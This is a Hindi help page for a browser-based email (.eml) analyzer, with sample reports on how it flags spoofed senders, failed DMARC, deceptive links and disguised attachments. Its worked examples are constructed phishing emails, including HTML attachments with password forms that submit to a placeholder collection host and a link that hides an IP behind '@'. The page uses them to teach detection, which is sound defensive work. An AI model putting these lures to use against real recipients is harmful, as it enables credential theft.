किसी डोमेन के SPF (10-लुकअप सीमा के साथ), DMARC, DKIM, MTA-STS और BIMI रिकॉर्ड्स की जाँच करें।
ईएमएल विश्लेषक
यह उपकरण स्वयं अंग्रेज़ी में है; यह पृष्ठ इसे आपकी भाषा में समझाता है।
ईएमएल विश्लेषक का उपयोग करें
यह क्या करता है
किसी .eml फ़ाइल को ड्रॉप करें या संदेश स्रोत पेस्ट करें ताकि आप इसके प्रेषक हेडर, रिसीव्ड चेन, लिंक और अटैचमेंट की जाँच कर सकें। यह सब आपके ब्राउज़र में ही चलता है।
यह पूरी तरह से आपके ब्राउज़र में चलता है: आप जो कुछ भी दर्ज करते हैं वह अपलोड नहीं होता।
ईएमएल विश्लेषक का उपयोग कैसे करें
- कच्चा संदेश प्राप्त करें. ईमेल को .eml के रूप में सहेजें या इसका स्रोत कॉपी करें: Gmail में मूल दिखाएँ, Outlook में संदेश स्रोत देखें, Thunderbird या Apple Mail में स्रोत देखें। Outlook .msg फ़ाइलें नहीं पढ़ी जातीं।
- इसे लोड करें. .eml फ़ाइल को बॉक्स पर ड्रॉप करें या उसे चुनें (50 एमबी तक), या स्रोत को टेक्स्ट फ़ील्ड में पेस्ट करें (5 एमबी तक) और Analyze दबाएँ।
- सारांश पढ़ें. निष्कर्षों को खतरनाक संकेतों, चेतावनियों, नोट्स और पारित जांचों में वर्गीकृत किया गया है। प्रत्येक पंक्ति उस हेडर, लिंक या संलग्नक का नाम बताती है जिससे यह आया है।
- विवरण देखें. सारांश के नीचे प्रेषक हेडर, From डोमेन से तुलना किए गए डोमेन, प्रमाणीकरण परिणाम, प्राप्त श्रृंखला, प्रत्येक लिंक और प्रत्येक संलग्नक आते हैं।
- संकेत लें. आपको जिन संकेतक प्रकारों की आवश्यकता है उन्हें चुनें, फिर उन्हें कच्चे या फ़िल्टर किए हुए रूप में कॉपी करें, उन्हें .txt फ़ाइल के रूप में डाउनलोड करें, या 'Send to' का उपयोग करें।
उदाहरण
निर्मित फ़िशिंग संदेश
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…support@example.com के रूप में प्रस्तुत एक डिस्प्ले नाम, अन्य डोमेनों पर Reply-To और DKIM, DMARC विफल, एक लिंक जिसका टेक्स्ट www.example.com दिखाता है लेकिन login.example.net पर जाता है, और एक पासवर्ड फॉर्म वाला invoice.pdf.html अटैचमेंट।
यह क्या जाँचता है
| संकेत | इसका क्या मतलब है |
|---|---|
| ईमेल पते के साथ प्रदर्शित नाम | जब नाम एक पता दिखाता है और असली प्रेषक दूसरा होता है, तो खतरा होता है। मेल ऐप्स अक्सर केवल नाम ही दिखाती हैं। |
| दूसरे डोमेन पर रिप्लाई-टू | चेतावनी: आपका उत्तर प्रेषक से अलग संगठन में जाएगा। |
| प्रमाणीकरण-परिणाम | DMARC विफल और SPF विफल खतरनाक संकेत हैं; SPF सॉफ्टफेल और DKIM विफल चेतावनियाँ हैं। केवल आपके अपने प्रदाता द्वारा दिया गया परिणाम ही मायने रखता है। |
| रिटर्न-पाथ और डीकेआईएम d= डोमेन | जब ये From डोमेन से भिन्न होते हैं तो यह नोट किया जाता है। बल्क-मेल सेवाओं के लिए यह सामान्य है, लेकिन DMARC के लिए इनमें से किसी एक का मिलान होना आवश्यक है। |
| प्राप्त श्रृंखला | हॉप्स को सबसे पुराने से पहले, देरी के साथ सूचीबद्ध किया जाता है। पिछले हॉप से पहले का टाइमस्टैम्प, एक घंटे से अधिक की देरी या "शायद जाली" रिवर्स DNS को फ़्लैग किया जाता है। |
| लिंक पाठ और गंतव्य | जब दिखाई देने वाला टेक्स्ट एक डोमेन का नाम देता है और लिंक दूसरे डोमेन पर जाता है, या @ से पहले का टेक्स्ट असली होस्ट को छिपाता है, तो खतरा होता है। खाली आईपी, प्यूनीकोड, शॉर्टनर और रैप्ड लिंक भी चिह्नित किए जाते हैं। |
| संलग्नक | डबल एक्सटेंशन, कोड चलाने वाली या ब्राउज़र में खुलने वाली फाइलें, एक्सटेंशन से मेल न खाने वाली सामग्री और दाएं से बाएं ओवरराइड ट्रिक्स को चिह्नित किया जाता है। प्रत्येक फ़ाइल के लिए SHA-256, SHA-1 और MD5 तैयार किए जाते हैं। |
| HTML में फॉर्म और स्क्रिप्ट | शरीर में पासवर्ड फ़ील्ड वाला कोई फ़ॉर्म या संलग्नक खतरे का संकेत है। संलग्नक के अंदर स्क्रिप्ट कोड चेतावनी है। |
और उदाहरण
एक लिंक जो आईपी पता छिपाता है
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 खतरे का संकेत, "1 लिंक: '@' से पहले का टेक्स्ट अनदेखा किया जाता है: असली होस्ट 203.0.113.7 है", और 1 चेतावनी, "1 लिंक: लिंक एक खाली आईपी पते पर जाता है"। लिंक तालिका में 'Upgrade storage' टेक्स्ट के बगल में संपादित किया गया पता दिखाया गया है।
PDF का भेष धारण किए हुए एक HTML पेज
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 खतरनाक संकेत: अटैचमेंट invoice.pdf "एक फॉर्म है जिसमें पासवर्ड फ़ील्ड है", और इसका "सामग्री HTML दस्तावेज़ है, .pdf नहीं"। अटैचमेंट कार्ड दिखाता है सामग्री: HTML दस्तावेज़ और तीन हैश; लिंक तालिका फॉर्म लक्ष्य को सूचीबद्ध करती है "फॉर्म इस पते पर डेटा सबमिट करता है"।
अक्सर पूछे जाने वाले प्रश्न
EML एनालाइज़र क्या जांचता है?
यह हेडर और प्रत्येक MIME भाग को डीकोड करता है, From, Reply-To, Return-Path, DKIM d= और Message-ID डोमेन की तुलना करता है, और Authentication-Results को पढ़ता है। यह प्राप्त होप्स को उनकी देरी के साथ सूचीबद्ध करता है, प्रत्येक लिंक को उसके दृश्यमान टेक्स्ट के साथ, और प्रत्येक अटैचमेंट का SHA-256, SHA-1 और MD5 भी पढ़ता है।
क्या यह साबित कर सकता है कि कोई ईमेल फ़िशिंग है, या कि वह सुरक्षित है?
नहीं। यह तथ्य और चेतावनी संकेत दिखाता है, निर्णय नहीं: वैध थोक मेल में अक्सर अलग Return-Path या DKIM डोमेन होता है, और DKIM हस्ताक्षर सूचीबद्ध होते हैं लेकिन क्रिप्टोग्राफिक रूप से सत्यापित नहीं होते। Outlook .msg फ़ाइलें समर्थित नहीं हैं; पहले संदेश को .eml के रूप में सहेजें।
क्या ईमेल कहीं अपलोड किया गया है?
नहीं। फ़ाइल आपके ब्राउज़र में पढ़ी और पार्स की जाती है, HTML को टेक्स्ट के रूप में दिखाया जाता है और कभी भी रेंडर नहीं किया जाता, और नेटवर्क पर कुछ भी नहीं भेजा जाता। 'Send to' बटन आपके ब्राउज़र के सेशन स्टोरेज के माध्यम से परिणाम को दूसरे टूल पेज पर भेजता है।
यह किस Authentication-Results हेडर पर विश्वास करता है?
आपकी अपनी मेल प्रणाली द्वारा जोड़ा गया वह हेडर है, जिसे 'Received' श्रृंखला से पहचाना जाता है और 'प्राप्तकर्ता के सर्वर द्वारा जोड़ा गया' के रूप में चिह्नित किया जाता है। संदेश में नीचे आने वाले हेडर प्रेषक द्वारा लिखे जा सकते हैं, इसलिए यह पृष्ठ आपको केवल आपके प्रदाता के परिणाम पर भरोसा करने के लिए कहता है।
क्या यह एक ईमेल में संलग्न दूसरे ईमेल को खोल सकता है?
हाँ। संलग्न संदेश को उसके हैश के साथ सूचीबद्ध किया गया है और "संलग्न संदेश का विश्लेषण करें" बटन है जो इसे उसी दृश्य में खोलता है। "बाहरी संदेश पर वापस जाएँ" आपको वापस ले जाता है।
इंडिकेटर्स से कुछ आईपी पते क्यों गायब हैं?
प्राप्तकर्ता की अपनी मेल प्रणाली के भीतर निजी और स्थानीय पते तथा हॉप शामिल नहीं किए जाते, क्योंकि वे प्रेषक के सर्वरों की ओर संकेत नहीं करते। प्राप्तकर्ता के ईमेल पते भी कभी शामिल नहीं किए जाते।